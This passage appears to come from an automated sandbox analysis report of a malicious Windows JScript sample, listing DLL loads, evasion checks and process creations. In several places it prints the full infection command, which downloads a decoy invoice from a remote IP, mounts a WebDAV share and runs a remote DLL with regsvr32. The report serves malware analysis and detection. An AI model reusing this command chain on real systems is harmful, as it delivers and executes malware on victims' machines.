Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4193.js.csv");ITextStream.WriteLine(" entry:7648 f:krbync");ITextStream.WriteLine(" exec:2 f:krbync");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4285			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5275			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep count: 4285 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep count: 5275 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4324	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2708	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 520	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7548	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7788	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1313530668.000001AA65491000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312897936.000001AA65491000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313263306.000001AA65428000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2546226116.0000023FEFA58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2544747645.0000023FEA42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1313530668.000001AA65491000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312897936.000001AA65491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWBN

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
